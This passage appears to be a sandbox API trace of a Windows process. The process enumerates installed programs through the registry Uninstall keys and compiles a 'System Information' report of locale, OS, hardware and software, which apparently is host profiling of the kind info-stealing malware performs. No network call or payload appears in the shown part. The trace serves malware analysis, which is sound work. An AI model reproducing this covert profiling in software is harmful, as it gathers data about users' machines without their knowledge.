16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n", lpSrch="\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n") returned 0x0 [0262.347] lstrlenW (lpString="\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n") returned 62 [0262.347] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n") returned 3306 [0262.347] LocalAlloc (uFlags=0x40, uBytes=0x1b50) returned 0x6f56a8 [0262.348] LocalFree (hMem=0x6f35b0) returned 0x0 [0262.349] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.350] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.350] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.351] LocalFree (hMem=0x6bec00) returned 0x0 [0262.351] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.351] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x37, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.351] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.351] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.351] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.351] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0262.351] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.357] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.357] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.358] LocalFree (hMem=0x6bec00) returned 0x0 [0262.358] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.358] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x38, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.358] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.358] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.358] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.358] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0262.358] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.359] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.359] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.359] LocalFree (hMem=0x6bec00) returned 0x0 [0262.359] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.359] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x39, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.359] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.359] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.359] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.359] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0262.360] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.360] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.360] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.361] LocalFree (hMem=0x6bec00) returned 0x0 [0262.361] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.880] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x3a, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.882] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.883] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.883] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.883] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0262.883] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.884] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.884] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.885] LocalFree (hMem=0x6bec00) returned 0x0 [0262.885] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.886] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x3b, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.887] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.887] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.887] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.887] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0262.887] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.888] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.888] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.888] LocalFree (hMem=0x6bec00) returned 0x0 [0262.890] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.890] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x3c, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.890] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.890] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.890] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.890] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0262.891] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.891] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.891] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.899] LocalFree (hMem=0x6bec00) returned 0x0 [0262.899] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.899] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x3d, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.901] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.901] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.901] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.901] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0262.902] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.902] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.902] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.903] LocalFree (hMem=0x6bec00) returned 0x0 [0262.903] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.903] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x3e, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.903] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.903] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.903] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.903] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpcbData=0x24fac4*=0x7c) returned 0x0 [0262.903] LocalAlloc (uFlags=0x40, uBytes=0x20f8) returned 0x6f7200 [0262.903] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="12.0.21005", lpcbData=0x24facc*=0x16) returned 0x0 [0262.904] StrStrW (lpFirst="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="12.0.21005") returned="12.0.21005" [0262.904] wsprintfW (in: param_1=0x6f7200, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n") returned 64 [0262.904] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n", lpSrch="\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n") returned 0x0 [0262.904] lstrlenW (lpString="\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n") returned 64 [0262.904] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n") returned 3368 [0262.904] LocalAlloc (uFlags=0x40, uBytes=0x1bd0) returned 0x6f35b0 [0262.904] LocalFree (hMem=0x6f7200) returned 0x0 [0262.905] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.905] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.906] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.906] LocalFree (hMem=0x6bec00) returned 0x0 [0262.906] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.906] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x3f, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0262.907] LocalFree (hMem=0x6bec00) returned 0x0 [0262.907] RegCloseKey (hKey=0x1c) returned 0x0 [0262.907] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing 